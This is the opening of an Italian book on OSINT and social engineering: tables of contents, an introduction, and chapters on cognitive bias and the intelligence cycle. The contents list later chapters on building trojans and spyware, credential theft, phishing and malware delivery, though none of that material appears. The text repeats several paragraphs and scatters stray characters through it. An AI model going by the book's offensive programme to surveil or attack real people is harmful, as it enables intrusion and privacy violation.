

MATTIA VICENZI

LA RETE INVISIBILE

OSINT e l'Ingegneria Sociale



INVESTIGADOR_Z

INVESTIGADOR_Z

SOMMARIO

[la rete invisibile: osint e l'Ingegneria Sociale](#)

[Bias Umani](#)

[Il Ciclo dell'Intelligence](#)

[Cos'è l'OSINT](#)

[Il Processo di Ricerca e Analisi](#)

[Google Dorks](#)

[Yandex Dorks](#)

[Bing Dorks](#)

[DuckDuckGo Dorks](#)

[Shodan Dorks](#)

[L'Importanza dell'Username](#)

[Dorks per la Ricerca Tramite Username](#)

[Whatsmyname](#)

[Maigret](#)

[Metodi Illegali in Italia](#)

[Le Violazioni di Dati](#)

[LeakCheck](#)

[Generare Possibili E-mail a Partire dall'Username](#)

[I Motori di Ricerca Interni ai Social Network](#)

[Cos'è Facebook e qual è la Sua Storia](#)

[Tipi di Utenze Facebook](#)

[Ricerca Ricorsiva in un Account Apparentemente Vuoto](#)

[Creare Query Tramite Sowsearch](#)

[Dork Google per Facebook](#)

[Verificare se un Utente è Registrato su Facebook e su altri Servizi Web](#)

[Cosa Sono i Sock Puppet](#)

[Creare un Sock Puppet per Facebook ed Etica](#)

[L'Importanza del Facebook ID](#)

[Come Estrarre il Facebook ID in Automatico e Manualmente](#)

[Trasparenza della Pagina](#)

[Il Motore di Ricerca Interno a Facebook](#)

[OSINT su Facebook ADS Library](#)

[OSINT su Facebook Live](#)

[OSINT su Facebook Marketplace e Manipolazione del URL](#)

[Esportare i Commenti di un Post](#)

[OSINT su Facebook Dating](#)

[OSINT su Instagram e Principali Tools](#)

[Cos'è Telegram e la Sua Storia](#)

[Registrarsi su Telegram](#)

[Tipi di Utenze Telegram](#)

[Ricerca Contenuti Tramite Tgstat](#)

[Telepathy e le Sue Funzioni](#)

[Dork Google per Cercare Link di Invito](#)

[Siti che Listano Canali Telegram](#)

[L'Univocità del Numero Telefonico e l'Importanza a Fini OSINT](#)

[I Servizi CallerID](#)

[Lavorare con Contatti Multipli](#)

[Cos'è un Indirizzo E-mail](#)

[Individuare i Profili Associati a un E-mail](#)

[Servizi di Ricerca e Violazione dei Dati](#)

[Ricerca Inversa per Immagini](#)

[DISCLAIMER:](#)

[Esempi di codice presenti nel libro](#)

[Come installare Python?](#)

[Eseguire il primo script](#)

[Sintassi minima di base](#)

[Variabile](#)

[Dichiarazione condizionale](#)

[Elenco](#)

[Il loop](#)

[Installare ed eseguire strumenti a riga di comando](#)

[Lettura e scrittura di file](#)

[Gestire le richieste HTTP e lavorare con le API](#)

[JSON](#)

[CSV](#)

[Database](#)

[Automatizzare la raccolta dei risultati di ricerca](#)

[Scraping](#)

[Espressioni regolari](#)

[Proxies](#)

[Array, Liste e le sue funzioni](#)

[Lavorare con il file system](#)

[Domini](#)

[liste e funzioni per lavorare con le stringhe](#)

[Generazione di documenti](#)

[Generazione di grafici e mappe](#)

[Wayback Machine e funzioni di data e ora](#)

[Web Apps](#)

[L'Ingegneria Sociale](#)

[Tecniche di Persuasione](#)

[Elicitazione](#)

[Tecniche: Provocazione](#)

[Tecniche: False Dichiarazioni](#)

[Tecniche: Incredulità](#)

[Tecniche: Richiamo dell'Io o adulazione](#)

[Tecniche: Lamentele](#)

[Tecniche: Ripetizione](#)

[Tecniche: Ignoranza e bisogno di aiuto](#)

[Tecniche: Convenienza reciproca](#)

[Costruire Malware Efficaci](#)

[FATRAT](#)

[Android: Costruire un trojan spyware usando FATRAT](#)

[Veil](#)

[Veil Framework](#)

[Pivoting](#)

[Lazagne](#)

[BeEF Framework](#)

[Costruire Phishing](#)

[Delivery dei Malware](#)

[Appendice A: Risorse OSINT Aggiuntive](#)

[Appendice B: Elenco dei Principali Tools OSINT](#)

[Appendice C: Linee Guida sull'Etica nell'OSINT e nell'Ingegneria Sociale](#)

[Appendice D: Normative Legalità e Privacy Relativa all'OSINT in Italia](#)

[Appendice E: I tools OSINT da me più utilizzati.](#)

[About the Author](#)

[Tecniche: Ripetizione](#)

[Tecniche: Ignoranza e bisogno di aiuto](#)

[Tecniche: Convenienza reciproca](#)

[Costruire Malware Efficaci](#)

[FATRAT](#)

[Android: Costruire un trojan spyware usando FATRAT](#)

[Veil](#)

[Veil Framework](#)

[Pivoting](#)

[Lazagne](#)

[BeEF Framework](#)

[Costruire Phishing](#)

[Delivery dei Malware](#)

[Appendice A: Risorse OSINT Aggiuntive](#)

[Appendice B: Elenco dei Principali Tools OSINT](#)

[Appendice C: Linee Guida sull'Etica nell'OSINT e nell'Ingegneria Sociale](#)

[Appendice D: Normative Legalità e Privacy Relativa all'OSINT in Italia](#)

[Appendice E: I tools OSINT da me più utilizzati.](#)

[About the Author](#)

La Rete Invisibile

OSINT e l'Ingegneria Sociale

by

Mattia Vicenzi

INVESTIGADOR_Z

La Rete Invisibile

OSINT e l'Ingegneria Sociale

by

Mattia Vicenzi



COPYRIGHT 2024 MATTIA Vicenzi. All rights reserved.

No part of this book may be reproduced in any form or by any electronic or mechanical means including information storage and retrieval systems, without permission in writing from the author. The only exception is by a reviewer, who may quote short excerpts in a review.

Although the author and publisher have made every effort to ensure that the information in this book was correct at press time, the author and publisher do not assume and hereby disclaim any liability to any party for any loss, damage, or disruption caused by errors or omissions, whether such errors or omissions result from negligence, accident, or any other cause.

This publication is designed to provide accurate and authoritative information with regard to the subject matter covered. It is sold with the understanding that the publisher is not engaged in rendering professional services. If legal advice or other expert assistance is required, the services of a competent professional should be sought.

The fact that an organization or website is referred to in this work as a citation and/or a potential source of further information does not mean that the author or the publisher endorses the information the organization or website may provide or recommendations it may make.

Please remember that Internet websites listed in this work may have changed or disappeared between when this work was written and when it is read.

La Rete Invisibile: OSINT e l'Ingegneria Sociale

Sommario

<u>Bias Umani 13</u>
<u>Il Ciclo dell'Intelligence 15</u>
<u>Cos'è l'OSINT 18</u>
<u>Il Processo di Ricerca e Analisi 21</u>
<u>Google Dorks 24</u>
<u>Yandex Dorks 26</u>
<u>Bing Dorks 29</u>
<u>DuckDuckGo Dorks 32</u>
<u>Shodan Dorks 35</u>
<u>L'Importanza dell'Username 38</u>
<u>Dorks per la Ricerca Tramite Username 41</u>
<u>Whatsmyname 44</u>
<u>Maigret 46</u>
<u>Metodi Illegali in Italia 49</u>
<u>Le Violazioni di Dati 52</u>
<u>LeakCheck 55</u>
<u>Generare Possibili E-mail a Partire dall'Username 58</u>
<u>I Motori di Ricerca Interni ai Social Network 61</u>
<u>Cos'è Facebook e qual è la Sua Storia 64</u>
<u>Tipi di Utenze Facebook 67</u>
<u>Ricerca Ricorsiva in un Account Apparentemente Vuoto 69</u>
<u>Creare Query Tramite Sogsearch 72</u>
<u>Dork Google per Facebook 75</u>
<u>Verificare se un Utente è Registrato su Facebook e su altri Servizi Web 78</u>
<u>Cosa Sono i Sock Puppet 80</u>
<u>Creare un Sock Puppet per Facebook ed Etica 83</u>
<u>L'Importanza del Facebook ID 86</u>
<u>Come Estrarre il Facebook ID in Automatico e Manualmente 89</u>
<u>Trasparenza della Pagina 91</u>
<u>Il Motore di Ricerca Interno a Facebook 95</u>
<u>OSINT su Facebook ADS Library 98</u>
<u>OSINT su Facebook Live 101</u>
<u>OSINT su Facebook Marketplace e Manipolazione del URL 103</u>
<u>Esportare i Commenti di un Post 105</u>
<u>OSINT su Facebook Dating 108</u>

[OSINT su Instagram e Principali Tools 112](#)
[Cos'è Telegram e la Sua Storia 115](#)
[Registrarsi su Telegram 118](#)
[Tipi di Utenze Telegram 121](#)
[Ricerca Contenuti Tramite Tgstat 124](#)
[Telepathy e le Sue Funzioni 128](#)
[Dork Google per Cercare Link di Invito 130](#)
[Siti che Listano Canali Telegram 133](#)
[L'Univocità del Numero Telefonico e l'Importanza a Fini OSINT 136](#)
[I Servizi CallerID 139](#)
[Lavorare con Contatti Multipli 143](#)
[Cos'è un Indirizzo E-mail 146](#)
[Individuare i Profili Associati a un E-mail 149](#)
[Servizi di Ricerca e Violazione dei Dati 152](#)
[Ricerca Inversa per Immagini 155](#)
[DISCLAIMER: 158](#)
[Esempi di codice presenti nel libro 161](#)
[Come installare Python? 161](#)
[Eseguire il primo script 163](#)
[Sintassi minima di base 165](#)
[Variabile 165](#)
[Dichiarazione condizionale 167](#)
[Elenco 168](#)
[Il loop 169](#)
[Installare ed eseguire strumenti a riga di comando 171](#)
[Lettura e scrittura di file 173](#)
[Gestire le richieste HTTP e lavorare con le API 175](#)
[JSON 177](#)
[CSV 180](#)
[Database 185](#)
[Automatizzare la raccolta dei risultati di ricerca 186](#)
[Scraping 190](#)
[Espressioni regolari 193](#)
[Proxies 195](#)
[Array, Liste e le sue funzioni 200](#)
[Lavorare con il file system 203](#)
[Domini 207](#)
[liste e funzioni per lavorare con le stringhe 211](#)
[Generazione di documenti 216](#)
[Generazione di grafici e mappe 220](#)
[Wayback Machine e funzioni di data e ora 224](#)
[Web Apps 227](#)
[L'Ingegneria Sociale 229](#)
[Tecniche di Persuasione 232](#)
[Elicitazione 235](#)
[Tecniche: Provocazione 241](#)
[Tecniche: False Dichiarazioni 241](#)
[Tecniche: Incredulità 242](#)
[Tecniche: Richiamo dell'Io o adulazione 242](#)
[Tecniche: Lamentele 243](#)

[Tecniche: Ripetizione 244](#)

[Tecniche: Ignoranza e bisogno di aiuto 244](#)

[Tecniche: Convenienza reciproca 245](#)

[Costruire Malware e Virus Efficaci 246](#)

[FATRAT 249](#)

[Android: Costruire un trojan spyware usando FATRAT 251](#)

[Utilizzare FATRAT per creare un'app Trojan 253](#)

[Veil 258](#)

[Veil Framework 260](#)

[Post Exploit Meterpreter Android, Windows, Linux 264](#)

[Pivoting 267](#)

[Lazagne 270](#)

[Seeker 273](#)

[BeEF Framework 276](#)

[Costruire Phishing 279](#)

[Delivery dei Malware 282](#)

[Appendice A: Risorse OSINT Aggiuntive 287](#)

[Appendice B: Elenco dei Principali Tools OSINT 290](#)

[Appendice C: Linee Guida sull'Etica nell'OSINT e nell'Ingegneria Sociale 293](#)

[Appendice D: Normative Legalità e Privacy Relativa all'OSINT in Italia 296](#)

[Appendice E: I tools OSINT da me più utilizzati. 298](#)

[Numeri di Telefono 298](#)

[Indirizzi E-mail 299](#)

[Username 300](#)

[Facebook 302](#)

[Instagram 303](#)

[Twitter/X \(Nota Bene: a causa delle restrizioni delle API di Twitter, alcuni di questi tools non sono al momento funzionanti e non è detto che ritorneranno ad esserlo in futuro\) 303](#)

[TikTok 304](#)

[Linkedin 305](#)

[Twitch 305](#)

[YouTube 306](#)

[ClubHouse 306](#)

[OnlyFans 307](#)

[Patreon 307](#)

[Alternative Social 307](#)

[Telegram 307](#)

[GitHub 308](#)

[Onedrive 308](#)

[Office365 309](#)

[WIFI 309](#)

[Scraping 309](#)

Introduzione

Bene, sei arrivato qui con l'intenzione di tuffarti in un mondo affascinante

e complesso, quello dell'OSINT (Open Source Intelligence) e dell'ingegneria sociale. Forse hai sentito parlare di questi termini navigando in rete o durante una conversazione con amici e

colleghi. Forse sei uno studente che vuole acquisire nuove e preziose competenze per il futuro lavorativo. Che la tua curiosità sia spinta dall'ambito professionale o dalla semplice voglia di conoscenza, sei nel posto giusto.

Che cos'è l'OSINT? In breve, è l'arte e la scienza di raccogliere informazioni da fonti pubblicamente accessibili e di analizzarle per produrre un'intelligence utile. Troppo astratto? Tranquillo, nei capitoli successivi, vedremo nel dettaglio come queste competenze possano essere impiegate in quasi ogni settore lavorativo, dalla sicurezza informatica al giornalismo investigativo.

Se stai pensando che tutto ciò sembri un lavoro da detective, non sbagli. L'OSINT, infatti, consente di scoprire dati e informazioni che, seppur disponibili a tutti, spesso rimangono nascosti alla vista dei più. Inoltre, sarà indispensabile rifinire le tue capacità analitiche e di pensiero critico. Questo ti permetterà di cernere ciò che è rilevante da ciò che non lo è, e di costruire una narrazione coerente a partire da frammenti di informazioni sparse.

Per quanto riguarda l'ingegneria sociale, capirai presto quanto sia strettamente connessa all'OSINT. Con l'ingegneria sociale, imparerai a influenzare le persone per ottenere informazioni o per indurle a compiere determinate azioni. Sì, suona un po' machiavellico, ma l'etica sarà una bussola essenziale che ci guiderà nel non trascendere i confini legali e morali.

Ma non temere, questo libro non sarà un mero manuale tecnico. Intendiamo farti vivere un'avventura, fornendoti gli strumenti per diventare in qualche modo un moderno hacker "WhiteHat", sempre nel rispetto delle leggi e delle regole etiche che governano questi ambiti. Sarai esposto a situazioni reali in cui le abilità OSINT e di ingegneria sociale possono fare la differenza tra successo e insuccesso.

Per esempio, nel prossimo capitolo, vedremo come il nostro processo di pensiero, spesso distorto da pregiudizi inconsci, possa influenzare l'analisi delle informazioni. Comprensione vitale perché non esiste uno strumento più potente della tua mente critica.

Successivamente, entreremo nel cuore pulsante dell'OSINT, esplorando metodologie e strumenti per la ricerca e l'analisi intelligente di dati e informazioni. Imparerai anche a destreggiarti tra diversi motori di ricerca, andando ben oltre il semplice uso di Google. Ebbene, esistono molti altri tesori nascosti nel web, pronti a essere scoperti attraverso l'uso strategico dei dorks, termini di ricerca avanzati che ti stupiranno per la loro efficacia.

Poi, vedremo approfonditamente come le informazioni possono essere raccolte attraverso l'analisi degli username, e sulle implicazioni legate alla legalità di questi processi, un argomento

di fondamentale importanza specialmente qui in Italia dove, come saprai, la privacy è tutelata da leggi piuttosto stringenti.

Esamineremo anche la generazione dei dati e le tecniche di ricerca interna, sfruttando gli algoritmi per anticipare e costruire possibili collegamenti tra il nostro target e le molteplici identità digitali che può possedere.

Non mancheranno ovviamente capitoli dedicati al colosso dei social media, Facebook, con le sue infinite possibilità di ricerca OSINT. Scoprirai come le informazioni apparentemente più insignificanti possano trasformarsi in oro puro per chi sa come analizzarle. Ma non ci fermeremo qui: analizzeremo piattaforme e strumenti per fare OSINT su Instagram, Telegram e molto altro!

ⁱUna volta consolidate le fondamenta, ti guideremo attraverso le tecniche più sofisticate di ricerca e analisi, gettando luce su strumenti, script, e su come l'automazione possa rendere il tuo lavoro molto più efficace.

E per quanto riguarda l'ingegneria sociale, ti insegneremo come le tecniche di persuasione ed ^aelicitazione possano essere applicate responsabilmente, e come creare scenari di attacco che ^epossano servire per testare la sicurezza delle reti aziendali senza compromettere l'integrità o la ^aprivacy di individui terzi.

Ti stai probabilmente chiedendo se questo percorso sia adatto a te. Se hai una propensione ^enaturale alla curiosità e al problem solving, una passione per le sfide intellettuali, e se ami l'idea ^rdi fare la differenza con il tuo contributo nel campo dell'intelligence o della sicurezza informatica, la risposta è assolutamente sì.

^aChiudo questa introduzione augurandoti un viaggio illuminante attraverso le pagine di questo libro. Sii consapevole però: l'apprendimento richiederà dedizione e pazienza. Ma non ^oscoraggiarti; i frutti che raccoglierai ne varranno assolutamente la pena.

[']Ora, se sei pronto a cominciare questa avventura nel mondo dell'OSINT e dell'ingegneria sociale, giriamo insieme la pagina e immergiamoci nel Capitolo 1.

ⁱ

^a**Capitolo 1: Pensiero Critico e Bias**

ⁱ

ⁱ**Umani**

Tuffiamoci nel vivace mondo del pensiero critico! Qui metteremo alla prova la nostra capacità di ^odiscernere ciò che è oggettivamente osservabile dalle sottili distorsioni che la nostra mente ci ^ogioca. Man mano che ci addentriamo nell'osint e nell'ingegneria sociale, è vitale padroneggiare tale skill per non cadere preda dei *bias*, o pregiudizi cognitivi, che possono sfuggire all'occhio

anon allenato. Questi compagni ingannevoli del pensiero possono trascinarci in pastoie logiche e conclusioni errate. Ti insegnerò a scovarli e a districarti tra i meandri delle tue personali elucubrazioni, per assicurarti che, ogni volta che analizzi un'informazione, tu lo faccia con la massima obiettività. Preparati ad affilare le tue armi mentali e a porle al servizio della tua avventura nel campo dell'intelligence open source e dell'ingegneria sociale!

,

,

a

o

e

a

a

a

i

INVESTIGADOR_Z

non allenato. Questi compagni ingannevoli del pensiero possono trascinarci in pastoie logiche e conclusioni errate. Ti insegnerò a scovarli e a districarti tra i meandri delle tue personali elucubrazioni, per assicurarti che, ogni volta che analizzi un'informazione, tu lo faccia con la massima obiettività. Preparati ad affilare le tue armi mentali e a porle al servizio della tua avventura nel campo dell'intelligence open source e dell'ingegneria sociale!

BIAS UMANI

Il pensiero critico rappresenta il cuore pulsante di ogni attività che richieda un processo decisionale o un'analisi. Ma quando si parla di pensiero critico, è impossibile non considerare **bias umani**, quei pregiudizi inconsci che condizionano le nostre percezioni e distorcono la realtà oggettiva, limitando la capacità di giudizio. Nella sfera dell'OSINT e dell'ingegneria sociale, riconoscere e comprendere i propri bias è fondamentale per evitare errori di valutazione che potrebbero compromettere un'intera indagine.

Partiamo dal **confirmation bias**, un concetto ben noto tra psicologi e sociologi, che indica la tendenza a cercare, interpretare e ricordare le informazioni in modo tale da confermare le proprie preconcezioni. OSINT e ingegneria sociale si basano fortemente sulle evidenze raccolte, e ignorare dati che contraddicono le nostre aspettative può essere pericoloso.

Il **bias di disponibilità** è un altro esempio calzante, perché spesso ci induce a sopravvalutare la probabilità di eventi che riescono a generare un elevato impatto emotivo o che sono facilmente richiamabili alla memoria, a scapito di una valutazione equilibrata basata su tutte le informazioni disponibili.

Esiste poi il **self-serving bias**, che porta ad attribuire i successi alle proprie abilità e i fallimenti a fattori esterni. Nel lavoro di un analista, l'autovalutazione obiettiva è cruciale: non possiamo migliorare se non riconosciamo i nostri errori.

L'effetto **Dunning-Kruger** è un altro classico esempio di distorsione: le persone con competenze limitate in un determinato ambito tendono a sovrastimare le proprie abilità. In un campo complesso come quello dell'OSINT, un eccesso di fiducia può essere un serio handicap.

Non dimentichiamo il **bias di ancoraggio**, il fenomeno per cui tendiamo a dare eccessivo peso alla prima informazione ricevuta (l'ancora) quando prendiamo decisioni successive. In un'indagine, fissarsi su un primo indizio e ignorare poi segnali diversi può portarci fuori strada.

C'è anche il **framing effect**, ovvero il modo in cui le informazioni sono presentate, che può influenzare le scelte e il giudizio. A seconda dell'impostazione di una domanda, per esempio, potremmo indurre risposte diverse, anche in ambito investigativo.

Il **hindsight bias**, conosciuto anche come sapere tutto dopo l'evento, può distorcere l'analisi di ciò che è accaduto facendoci credere che un evento fosse prevedibile o inevitabile, quando in realtà non lo era. Questo può condurre a conclusioni errate sui rischi futuri.

Il **bias di sopravvivenza** ci porta a valutare il mondo sulla base delle storie di successo trascurando quelle di fallimento che non arrivano alle nostre orecchie. È essenziale tenerne

conto, poiché potremmo ignorare dati cruciali sulle frequenze di eventi negativi.

Inoltre, il **bias del campione** riguarda la tendenza a generalizzare a partire da un campione non rappresentativo. Questo errore può essere fatale in un'indagine dove la rappresentatività del campione può cambiare completamente il quadro della situazione.

Il **bias della normalità** è l'abitudine di ritenere che le cose andranno sempre come sono sempre andate, ignorando segnali che potrebbero indicare cambiamenti significativi. In OSINT, sottovalutare l'adattabilità e l'evoluzione può significare perdere informazioni vitali.

E poi c'è il **groupthink**, o pensiero di gruppo: la ricerca di consenso all'interno di un gruppo che porta talvolta a decisioni irrazionali o non ottimali. Collaborare sì, ma senza rinunciare al proprio pensiero critico e all'obiettività.

Il **sunken cost fallacy**, o errore dei costi irrecuperabili, ci induce a continuare su una strada già intrapresa solo perché abbiamo già investito risorse su di essa, anche quando ulteriori investimenti non risultino giustificati. Saper tagliare i ponti può essere una scelta saggia.

Non scordiamo il **bandwagon effect**, l'effetto carrozzone: l'aver una propensione naturale a fare o credere qualcosa solo perché molti altri lo fanno o lo credono. Un buon analista deve sempre fare i propri compiti, senza seguire ciecamente la massa.

In sintesi, i **bias umani** sono insidie che costellano il percorso di chiunque si dedichi a ricerche e analisi, soprattutto nell'ambito di OSINT e ingegneria sociale. Esserne consapevoli non solo eleva la qualità del lavoro svolto, ma contribuisce all'integrità e all'affidabilità delle conclusioni raggiunte. Affrontiamo con occhi aperti i nostri bias e sfruttiamoli come opportunità per migliorare la nostra pratica professionale.

L'intento non è quello di eliminare i bias – un obiettivo irrealizzabile data la natura umana – ma di imparare a riconoscerli e mitigarne gli effetti. Ecco spiegato perché, prima di immergerci nelle prossime sezioni che ci sveleranno i segreti dell'OSINT e dell'ingegneria sociale, abbiamo dedicato del tempo a comprendere e riconoscere i nostri limiti cognitivi. Ora, siamo un po' più blindati contro le sorprese del nostro cervello e pronti a navigare in acque più tecniche.

i

1

,

e

conto, poiché potremmo ignorare dati cruciali sulle frequenze di eventi negativi.

Inoltre, il **bias del campione** riguarda la tendenza a generalizzare a partire da un campione non rappresentativo. Questo errore può essere fatale in un'indagine dove la rappresentatività del campione può cambiare completamente il quadro della situazione.

Il **bias della normalità** è l'abitudine di ritenere che le cose andranno sempre come sono sempre andate, ignorando segnali che potrebbero indicare cambiamenti significativi. In OSINT, sottovalutare l'adattabilità e l'evoluzione può significare perdere informazioni vitali.

E poi c'è il **groupthink**, o pensiero di gruppo: la ricerca di consenso all'interno di un gruppo che porta talvolta a decisioni irrazionali o non ottimali. Collaborare sì, ma senza rinunciare al proprio pensiero critico e all'obiettività.

Il **sunken cost fallacy**, o errore dei costi irrecuperabili, ci induce a continuare su una strada già intrapresa solo perché abbiamo già investito risorse su di essa, anche quando ulteriori investimenti non risultino giustificati. Saper tagliare i ponti può essere una scelta saggia.

Non scordiamo il **bandwagon effect**, l'effetto carrozzone: l'avere una propensione naturale a fare o credere qualcosa solo perché molti altri lo fanno o lo credono. Un buon analista deve sempre fare i propri compiti, senza seguire ciecamente la massa.

In sintesi, i **bias umani** sono insidie che costellano il percorso di chiunque si dedichi a ricerche e analisi, soprattutto nell'ambito di OSINT e ingegneria sociale. Esserne consapevoli non solo eleva la qualità del lavoro svolto, ma contribuisce all'integrità e all'affidabilità delle conclusioni raggiunte. Affrontiamo con occhi aperti i nostri bias e sfruttiamoli come opportunità per migliorare la nostra pratica professionale.

L'intento non è quello di eliminare i bias – un obiettivo irrealizzabile data la natura umana – ma di imparare a riconoscerli e mitigarne gli effetti. Ecco spiegato perché, prima di immergerci nelle prossime sezioni che ci sveleranno i segreti dell'OSINT e dell'ingegneria sociale, abbiamo dedicato del tempo a comprendere e riconoscere i nostri limiti cognitivi. Ora, siamo un po' più blindati contro le sorprese del nostro cervello e pronti a navigare in acque più tecniche.

IL CICLO DELL'INTELLIGENCE

Come abbiamo visto finora, il pensiero critico e la consapevolezza dei propri bias sono fondamentali in ogni analisi di intelligence, inclusa quella nel campo dell'OSINT (Open Source INTelligence). Ma prima di addentrarci nelle specifiche delle varie piattaforme e tecniche di ricerca, fermiamoci un istante e comprendiamo il *ciclo dell'intelligence*. Questo concetto, my friend, è la spina dorsale di ogni indagine che punta a essere sistematica ed efficace.

Il **ciclo dell'intelligence** è un processo dinamico che si compone di diverse fasi fondamentali: definizione dei requisiti, raccolta, elaborazione, analisi, disseminazione e feedback. Vediamole una per una, e capirai come queste fasi si intrecciano perfettamente con il pensiero critico e l'analisi delle informazioni.

Iniziamo con la **definizione dei requisiti**. In questa fase, si stabilisce precisamente cosa si cerca di scoprire o monitorare. In questo stadio, è essenziale avere una chiara comprensione della domanda di intelligence: cosa si deve sapere, perché serve tale informazione e come potrà essere utilizzata.

Proseguiamo con la **raccolta**. Qui si entra nel vivo dell'attività di ricerca, usando fonti aperte o altre metodologie di raccolta dati. È il momento di tirare fuori tutti i trucchi del mestiere che impareremo nei prossimi capitoli, ma ricordiamoci sempre che la raccolta deve essere guidata dai requisiti definiti precedentemente.

Dopo aver raccolto i dati, si passa alla fase di **elaborazione**. Questa fase consiste nel trasformare le informazioni grezze in un formato che possa essere facilmente analizzato. Si parla quindi di organizzazione e catalogazione dei dati. Questo passaggio è meno glamour, ma è cruciale per non perdersi nel mare delle informazioni raccolte.

L'**analisi** è il cuore pulsante dell'intero ciclo. È qui che si prendono tutte le informazioni elaborate e si comincia a "digerirle", per produrre una vera e propria intelligence. L'analista deve esaminare criticamente i dati, mettere insieme i pezzi del puzzle, e formulare valutazioni coerenti e basate sulle evidenze che sono state raccolte ed elaborate.

Una volta che l'analisi è stata completata, è tempo di **disseminazione**, ossia la distribuzione delle informazioni ai destinatari appropriati. L'intelligence non vale molto se resta rinchiusa in un cassetto: deve arrivare a chi ne ha bisogno, in tempo per essere utile.

Infine, non dimentichiamo il **feedback**. Ogni ciclo di intelligence si chiude, idealmente, con la valutazione di chi riceve l'intelligence. Questo passaggio è fondamentale per migliorarsi: capire cosa ha funzionato, cosa no, e come si può affinare il processo la prossima volta.

Adesso che hai un quadro del ciclo dell'intelligence, ti chiederai: come lo applico nell'OSINT e nell'ingegneria sociale? Be', è più semplice di quanto sembri. Ogni volta che avvii una ricerca online o ti approcci a un soggetto per raccogliere informazioni, ti stai imbattendo in queste fasi, magari senza nemmeno rendertene conto.

Pensa a quella volta in cui hai scoperto un username interessante durante una ricerca o mentre curiosavi in un forum. Quello è stato il tuo starting point. Hai definito un requisito – saperne di più su quell'individuo – e da lì hai iniziato a raccogliere i dati disponibili online, li hai elaborati categorizzandoli, e infine hai analizzato le connessioni tra i vari pezzi d'informazione.

Il ciclo dell'intelligence non è un'astrazione lontana dalla realtà, ma uno strumento pratico che v guida a essere sistematici e metodici nel tuo lavoro. Ti permette di navigare la vastità dell'Internet con un metodo, che è fondamentale sia che tu sia un principiante sia che tu sia già un esperto navigatore degli oceani dell'informazione.

Uno dei punti di forza del ciclo è la sua adattabilità. Che tu stia cercando di proteggere la tua azienda da minacce informatiche o che tu sia un giornalista alla ricerca di dati per una storia, il ciclo ti aiuta a non perdere la bussola. E qui non finisce: l'OSINT e l'ingegneria sociale ti mettono a disposizione strumenti incredibili per ogni fase del ciclo.

E ricordiamoci che nel mondo dell'OSINT e dell'ingegneria sociale, i migliori risultati si ottengono sempre mantenendo rigore etico e rispetto per la legge. Il ciclo dell'intelligence è una bussola, ma il nord lo determini tu con i tuoi valori e la tua integrità.

Con questo quadro in mente, sarai meglio equipaggiati per ogni sfida che il mondo dell'intelligence ti lancerà. E ora che abbiamo le basi, siamo pronti per esplorare le infinite risorse dell'OSINT e le sottili arti dell'ingegneria sociale. Andiamo a scoprire insieme come queste conoscenze si intreccino e si potenzino a vicenda nel prossimo capitolo.

,

i

e

Adesso che hai un quadro del ciclo dell'intelligence, ti chiederai: come lo applico nell'OSINT e nell'ingegneria sociale? Be', è più semplice di quanto sembri. Ogni volta che avvii una ricerca online o ti approcci a un soggetto per raccogliere informazioni, ti stai imbattendo in queste fasi, magari senza nemmeno rendertene conto.

Pensa a quella volta in cui hai scoperto un username interessante durante una ricerca o mentre curiosavi in un forum. Quello è stato il tuo starting point. Hai definito un requisito – saperne di più su quell'individuo – e da lì hai iniziato a raccogliere i dati disponibili online, li hai elaborati categorizzandoli, e infine hai analizzato le connessioni tra i vari pezzi d'informazione.

Il ciclo dell'intelligence non è un'astrazione lontana dalla realtà, ma uno strumento pratico che vi guida a essere sistematici e metodici nel tuo lavoro. Ti permette di navigare la vastità dell'Internet con un metodo, che è fondamentale sia che tu sia un principiante sia che tu sia già un esperto navigatore degli oceani dell'informazione.

Uno dei punti di forza del ciclo è la sua adattabilità. Che tu stia cercando di proteggere la tua azienda da minacce informatiche o che tu sia un giornalista alla ricerca di dati per una storia, il ciclo ti aiuta a non perdere la bussola. E qui non finisce: l'OSINT e l'ingegneria sociale ti mettono a disposizione strumenti incredibili per ogni fase del ciclo.

E ricordiamoci che nel mondo dell'OSINT e dell'ingegneria sociale, i migliori risultati si ottengono sempre mantenendo rigore etico e rispetto per la legge. Il ciclo dell'intelligence è una bussola, ma il nord lo determini tu con i tuoi valori e la tua integrità.

Con questo quadro in mente, sarai meglio equipaggiati per ogni sfida che il mondo dell'intelligence ti lancerà. E ora che abbiamo le basi, siamo pronti per esplorare le infinite risorse dell'OSINT e le sottili arti dell'ingegneria sociale. Andiamo a scoprire insieme come queste conoscenze si intreccino e si potenzino a vicenda nel prossimo capitolo.

Capitolo 2:

Introduzione all'OSINT

Dopo aver affrontato il mondo del pensiero critico e dei bias umani, è tempo di tuffarsi nell'affascinante universo dell'Open Source Intelligence, conosciuto anche come OSINT. Questo capitolo fungerà da rampa di lancio nella ricognizione delle informazioni pubblicamente disponibili, ma spesso nascoste nella vastità del web. Qui, inizierai a comprendere la portata e le potenzialità dell'OSINT, un campo che non si limita a semplici ricerche su Google, ma si estende a numerosi database, forum, e social media. Imparerai che ciascuno strumento e ogni frammento di dato possono svolgere un ruolo cruciale nelle tue indagini e che, come detective digitali, abbiamo la capacità di raccogliere e analizzare dati in modo etico e rispettoso della privacy altrui. L'OSINT non è solo per gli "hacker"; è uno strumento indispensabile per chiunque desideri navigare l'oceano dell'informazione con perizia e responsabilità.

Capitolo 2:

Introduzione all'OSINT

Dopo aver affrontato il mondo del pensiero critico e dei bias umani, è tempo di tuffarsi nell'affascinante universo dell'Open Source Intelligence, conosciuto anche come OSINT. Questo capitolo fungerà da rampa di lancio nella ricognizione delle informazioni pubblicamente disponibili, ma spesso nascoste nella vastità del web. Qui, inizierai a comprendere la portata e le potenzialità dell'OSINT, un campo che non si limita a semplici ricerche su Google, ma si estende a numerosi database, forum, e social media. Imparerai che ciascuno strumento e ogni frammento di dato possono svolgere un ruolo cruciale nelle tue indagini e che, come detective digitali, abbiamo la capacità di raccogliere e analizzare dati in modo etico e rispettoso della privacy altrui. L'OSINT non è solo per gli "hacker"; è uno strumento indispensabile per chiunque desideri navigare l'oceano dell'informazione con perizia e responsabilità.

COS'È L'OSINT

L'OSINT, acronimo di Open Source Intelligence, rappresenta l'arte e la scienza di raccogliere informazioni da fonti pubblicamente accessibili e trasformarle in intelligence utilizzabile.

Non parliamo di spionaggio o di attività ombrose, ma di un'attenta analisi di dati che chiunque può trovare, se sa dove e come guardare. Questo capitolo getta luce su questo concetto fondante, esplorando la sua essenza e il suo ruolo nel campo della ricerca e dell'analisi di informazioni.

